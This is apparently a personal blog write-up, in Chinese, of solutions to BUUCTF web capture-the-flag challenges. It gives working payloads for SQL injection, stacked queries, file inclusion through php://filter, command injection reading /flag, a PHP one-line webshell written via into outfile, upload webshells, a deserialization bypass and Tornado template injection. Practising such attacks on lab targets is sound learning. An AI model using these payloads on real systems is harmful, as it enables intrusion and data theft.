buu1-web

出完misc,不如来刷点web是吧

[极客大挑战 2019]EasySQL

万能密码登录即可,

1
1' or 1=1#

密码随便都行

[HCTF 2018]WarmUp

image-20220113195617361

source.php 嗯打开试试,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);//打印代码
class emmm//定义emmm
{
public static function checkFile(&$page)//将传入参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//$whitelist白名单数组
if (! isset($page) || !is_string($page)) {//变量不存在或者不是字符串
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//$page变量在$whitelist中
return true;
}

$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])//$_REQUEST['file']非空
&& is_string($_REQUEST['file'])//$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file'])//能通过checkFile函数检查
) {
include $_REQUEST['file'];//包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";//打印滑稽表情
}
?>

image-20220113195904381

看到hint 就是了一下,嗯这个提示,那么只要能成功访问ffffllllaaaagggg就行

1
http://xxxx:xxxx/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

%253f为?编码两次的结果,前面的source.php?用于绕过白名单

然后第二次进行url解码只会对?解码一次此时得到的结果为?的一次url编码,实现绕过,../是因为不确定ffffllllaaaagggg在那个具体位置,依次增加即可访问成功,获得flag

[极客大挑战 2019]Havefun

可爱猫猫,

image-20220114165225417

让cat=dog就行

[ACTF2020 新生赛]Include

image-20220114170700958

这又是一个找flag的环节,利用php://filter伪协议进行文件包含,payload如下

1
http://ec242c45-b53e-4213-a42b-bb8a5a97bcac.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

把读出来的内容转base64就行

image-20220114171237380

image-20220114173527938

image-20220114173659426

参考引用https://blog.csdn.net/weixin_45642610/article/details/112427044

[强网杯 2019]随便注

用sqlmap用惯了,就不太行,这里考察的是堆叠注入,先看看有什么好了

image-20220116121852873

image-20220116122619145

这边打了1‘ union select 1,2,database() #,发现了一大堆的过滤,但是这不影响用堆叠呀

1
1';show databases;#

image-20220116123025601

1
1';show tables;#

image-20220116123339409

查不到表的具体内容欸

image-20220116123745195

查了才知道这里要使用反引号

image-20220116123834423

发现flag

再查询words

image-20220116124857126

,也就是直接查询的结果都来自words中,

那么我们也可以用一些很好的方法(jiyinqiaoji)

方法一:handler查询

1
2
3
1';
handler `1919810931114514` open;
handler `1919810931114514` read first;-- +

关于handler

handler可以直接打开这个表,mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

1
2
3
4
5
6
7
8
9
10
11
12
HANDLER tbl_name OPEN [ [AS] alias]
# 打开一张表,无返回结果,实际上声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE
# 关闭打开的句柄。

方法二:重命名

那么把藏有flag的表及列名改掉

1
1';rename tables words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTERS SET utf8 COLLATE utf8_genneral_ci NOT NULL;desc words;

CHARACTERS SET utf8 :数据库字符集,设置为utf-8

COLLATE utf8_genneral_ci :数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。

然后直接使用万能密码

1
1' or 1=1#

就可以直接查询到flag了

方法三:预处理语句

关于预处理语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PREPARE name from '[my sql sequece]';   //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
 //预定义语句也可以通过变量进行传递: 
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

char(115,101,108,101,99,116)为select

payload1:不使用变量

1
1';PREPARE hacker from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE hacker;#

payload2:使用变量

1
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE hacker from @sqli;EXECUTE hacker;#

payload3:只使用concat()

1
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#

方法四:谁会想到这题可以写个shell呢

先查询一下用户

1
1';set @sql=concat("s","elect user()");prepare sqla from @sql;execute sqla;

image-20220119150243479

strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回str2在str1中首次出现的地址;否则,返回NULL,这里可以通过大小写进行绕过

1
1';Set @sql=concat("s","elect user()");Prepare sqla from @sql;execute sqla;

image-20220119150818554

由于这题是root权限,那么就可以,往网址写shell,这个路径wp说是猜的

1
2
3
4
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
//这里利用into outfile 生成PHP文件,利用char(46)绕过黑名单中的符号.
/*print_r() 函数用于打印变量,以更容易理解的形式展示。

image-20220119154611509

这里使用该函数为了后面能成功打印出flag

这里并没有没有回显,但是,直接通过一句话木马去访问数据库

1
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

这里账号密码均为root,1被赋值的内容会被传入到一句话木马中并执行

image-20220119151755074

即可拿到flag

总结

从docker的源码中可以发现,本题使用multi_query()执行一条或多条sql语句,然后将结果全部输出,这也是为什么堆叠注入可以成功的原因了

参考链接:https://www.cnblogs.com/chalan630/p/12583667.html

https://www.cnblogs.com/wjw-zm/p/12359735.html

https://www.jianshu.com/p/b24b16bd5b88

https://www.jianshu.com/p/36f0772f5ce8

[SUCTF 2019]EasySQL

还是堆叠注入,但是查询到Flag表的时候出现了一些问题,flag被ban掉了,并不能采用传统的堆叠注入查询,

查了wp才知道这边真实的查询语句是

1
select $post['query']||flag from Flag

也就是前一句为真时,只执行前半句,这里的||是或,那么这边的或需要通过输入0以及非0数字得到的回显进行判断。

方法一

1
2
3
4
5
*,1
//即让查询语句为
select *,1||flag from Flag
//此时的真实查询语句为
select *,1 from Flag

利用*查询所有内容,1用于占位,换成别的也行

方法二

让||不是或的意思,而是连接符的意思,进行如下操作

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

如果后面的select 1,不是数字的话,也不能成功获得flag

[ACTF2020 新生赛]Exec

命令执行漏洞,利用管道符拿flag

|按位或

1
127.0.0.1|cat /flag #直接执行后面的语句

||逻辑或

1
aaa||cat /flag #如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

&按位与

1
127.0.0.1&cat /flag #&前面和后面命令都要执行,无论前面真假

&&逻辑与

1
如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

但是这里并不成功,怀疑被ban掉了,在本地可执行成功

image-20220125141158738

;(linux中与&功能相同)

1
127.0.0.1;cat /flag

[极客大挑战 2019]Secret File

image-20220125143801788

f12看看

image-20220125143929467

点进php看看

image-20220125143959877

再点一下

image-20220125144017214

flag呢???????抓个包看看,在点下按钮时抓包image-20220125144315452

发现出现了action.php,出现了重定向

image-20220125144617949

filter没有被过滤掉,那php伪协议读取flag.php

1
?file=php://convert.base64-encode/resource=flag.php

image-20220125145031110

image-20220125145309883

[极客大挑战 2019]LoveSQL

image-20220125150456014

感觉直接注入就行,除了注释只能用%23

image-20220126135236854

image-20220126135624860

当前使用的数据库是geek

image-20220126140100267

查到geek中数据表

image-20220126140815301

拿到flag

[GXYCTF2019]Ping Ping Ping

一样是去pingip地址,应该也是命令利用的问题

但是image-20220126141248002

直接拿flag的好事还是不要想了,看看有什么文件

image-20220126144030367

image-20220126144227336

拿不到flag,那看看index.php

image-20220126144409142

还是不行,{}被过滤了

image-20220126144552339

去掉无回显

image-20220126144854217

有点东西,flag也被ban掉了,

绕过方法一

image-20220205195049252

这里通过变量a赋值实现访问flag.php,绕过f、l、a、g按序出现的检查,同理使用多变量也行,尝试了一下a如果为另外三个字母并不能成功绕过

绕过方法二

image-20220205204017769

把ls的结果作为cat的参数,实现不输入flag读取flag

[极客大挑战 2019]Http

image-20220127194333230

藏了一个链接

image-20220127194643316

image-20220127194742346

image-20220127194759152

image-20220127194844700

image-20220127195000103

[极客大挑战 2019]Knife

image-20220127201542703

连shell,然后flag在根目录里

[极客大挑战 2019]BuyFlag

image-20220131235035117

对user进行修改

image-20220131235012307

关于如何成为cuiter这件事

image-20220131235117727

image-20220131235217171

密码可能对了但是

image-20220131235330369

密码不能为纯数字,这里考的是php弱比较

参考:https://www.runoob.com/php/php-types-comparisons.html#:~:text=PHP%20%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83%20%E8%99%BD%E7%84%B6%20PHP%20%E6%98%AF%E5%BC%B1%E7%B1%BB%E5%9E%8B%E8%AF%AD%E8%A8%80%EF%BC%8C%E4%BD%86%E4%B9%9F%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD%E5%8F%98%E9%87%8F%E7%B1%BB%E5%9E%8B%E5%8F%8A%E5%AE%83%E4%BB%AC%E7%9A%84%E6%84%8F%E4%B9%89%EF%BC%8C%E5%9B%A0%E4%B8%BA%E6%88%91%E4%BB%AC%E7%BB%8F%E5%B8%B8%E9%9C%80%E8%A6%81%E5%AF%B9%20PHP,%E5%8F%98%E9%87%8F%E8%BF%9B%E8%A1%8C%E6%AF%94%E8%BE%83%EF%BC%8C%E5%8C%85%E5%90%AB%E6%9D%BE%E6%95%A3%E5%92%8C%E4%B8%A5%E6%A0%BC%E6%AF%94%E8%BE%83%E3%80%82%20%E6%9D%BE%E6%95%A3%E6%AF%94%E8%BE%83%EF%BC%9A%E4%BD%BF%E7%94%A8%E4%B8%A4%E4%B8%AA%E7%AD%89%E5%8F%B7%20%3D%3D%20%E6%AF%94%E8%BE%83%EF%BC%8C%E5%8F%AA%E6%AF%94%E8%BE%83%E5%80%BC%EF%BC%8C%E4%B8%8D%E6%AF%94%E8%BE%83%E7%B1%BB%E5%9E%8B%E3%80%82%20%E4%B8%A5%E6%A0%BC%E6%AF%94%E8%BE%83%EF%BC%9A%E7%94%A8%E4%B8%89%E4%B8%AA%E7%AD%89%E5%8F%B7%20%3D%3D%3D%20%E6%AF%94%E8%BE%83%EF%BC%8C%E9%99%A4%E4%BA%86%E6%AF%94%E8%BE%83%E5%80%BC%EF%BC%8C%E4%B9%9F%E6%AF%94%E8%BE%83%E7%B1%BB%E5%9E%8B%E3%80%82

那么由于本题只用了==,那么就可以在404后面加一点字符串,使其绕过纯数字的检查,也可以选择%00或者%20进行绕过

(注:%20只能放在404后面,%00都行

image-20220131235410906

记下来这边有两种操作

方法一:科学记数法

image-20220131235437361

方法二:数组绕过

money[]=1,旧版本php5.3以前中的strcmp()中如果上传的类型不是字符串,就会返回0,当strcmp()函数判断相等时,函数也会返回0,0与0相等,从而绕过检查。

strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

参考链接:https://blog.51cto.com/u_15077552/3628715

[极客大挑战 2019]Upload

当我上传一张图片的时候,我得到了这个

image-20220206202110356

好的他觉得这不是图片

image-20220206202600329

抓个包看了一下,文件头好像识别不到,图片类型能够直接输入的也就只有GIF了

image-20220206204459586

image-20220206204522997

image-20220206204549790

测试了一下,只要带一个GIF89a的头就行,至于文件类型,只要是image开头的感觉都可以,不一定要和后面的文件头一样

找了一下上传的文件在upload里,那写个一句话的图片🐎

image-20220206210050708

看来用png做图片🐎不太行

image-20220206210352410

我收起这个想法

直接写算了

image-20220206210555010

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Name{
private $username;
private $password;

public function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}

}
$user = new Name('admin',100);
var_dump(serialize($user)); //string(77) "O:4:"Name":2:{s:14:"%00Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}"
?>
然而这样并不足以绕过,可以将序列化的Name对象作为select参数的值提交。当执行反序列化之后,又恢复成Name对象,并且,在Name对象销毁时,会自动调用`__destruct()`方法。 当时这里用个问题,就是在执行`__destruct()`方法之前,可能会先执行wakeup()方法,并且在**`wakeup()`会修改username的值**。 因此,这里**应该绕过wakeup()方法**,避免`wakeup()`执行。 在不想执行 __wakeup() 的时候,可以让序列化结果中类属性的数值大于其真正的数值进行绕过,这个方式适用于PHP < 5.6.25 和 PHP< 7.0.10。 那这里把2改成3 最后的payload如下:
1
/?select=O:4:"Name":3:{s:14:"%00Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
参考链接: https://zhuanlan.zhihu.com/p/366455343 https://blog.csdn.net/qq_45927266/article/details/120380343 # [极客大挑战 2019]BabySQL ![image-20220313163626724](buu1-web/image-20220313163626724.png) ![image-20220313164052931](buu1-web/image-20220313164052931.png) ![image-20220313164506955](buu1-web/image-20220313164506955.png) ![image-20220313165039532](buu1-web/image-20220313165039532.png) ![image-20220313165116686](buu1-web/image-20220313165116686.png) ![image-20220313165301926](buu1-web/image-20220313165301926.png) # [ACTF2020 新生赛]Upload ![image-20220314180239742](buu1-web/image-20220314180239742.png) 上传一张图片以后,可以得到存储目录以及上传后的图片名字 /uplo4d 不让直接访问,但是这不是很影响 ![image-20220314182257027](buu1-web/image-20220314182257027.png) ![image-20220314192724307](buu1-web/image-20220314192724307.png) ~~少了个?,小声~~ ![image-20220314193050215](buu1-web/image-20220314193050215.png) ![image-20220314193255727](buu1-web/image-20220314193255727.png) 又到了传马,cat /flag的环节,没了 # [RoarCTF 2019]Easy Calc ![image-20220321213019871](buu1-web/image-20220321213019871.png) 习惯f12,发现有waf,过waf的话需要危险传参 ![image-20220321213341965](buu1-web/image-20220321213341965.png) calc.php引起注意,打开看看 ![image-20220321213551464](buu1-web/image-20220321213551464.png) 有点东西,过滤了一堆字符,参数是num,第一个就是过滤空格,那这里可以通过 num(就是num前面加一个空格完成传参,由于/ ,''被过滤了这里可以通过chr(47)进行绕过 ![image-20220321215049946](buu1-web/image-20220321215049946.png) 补充:var_dump() :打印变量的相关信息 scandir():列出文件目录,访问f1agg ![image-20220321221751130](buu1-web/image-20220321221751130.png) file_get_contents()读取文件内容 PHP的字符串解析特性 这是别人对PHP字符串解析漏洞的理解, 我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过: /news.php?%20news[id%00=42"+AND+1=0– 上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。 HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事: 1.删除空白符 2.将某些字符转换为下划线(包括空格) 参考链接:https://blog.csdn.net/weixin_44077544/article/details/102630714 # [ACTF2020 新生赛]BackupFile 扫一扫得到备份文件 ![image-20220327215523579](buu1-web/image-20220327215523579.png) ![image-20220327215553139](buu1-web/image-20220327215553139.png) php弱比较,传参key=123即可绕过 # [护网杯 2018]easy_tornado 让我康康有什么 ![image-20220328210600168](buu1-web/image-20220328210600168.png) ![image-20220328210620835](buu1-web/image-20220328210620835.png) ![image-20220328210635443](buu1-web/image-20220328210635443.png) 知道了flag在哪里,提示了cookie_secret,render,那就查一下,render()可以对服务器端渲染,*render*方法的实质就是生成template模板这里是考的是模板注入(ssti),因为[render](https://so.csdn.net/so/search?q=render&spm=1001.2101.3001.7020)()是tornado里的函数,[Tornado](https://so.csdn.net/so/search?q=Tornado&spm=1001.2101.3001.7020)框架的附属文件handler.settings中存在cookie_secret, 测试注入点 ![image-20220328213049326](buu1-web/image-20220328213049326.png) ![image-20220328213510476](buu1-web/image-20220328213510476.png) 从报错页面进行注入 ![image-20220328214852638](buu1-web/image-20220328214852638.png) ![image-20220328214949353](buu1-web/image-20220328214949353.png) ![image-20220328220413072](buu1-web/image-20220328220413072.png) ![image-20220328220339212](buu1-web/image-20220328220339212.png)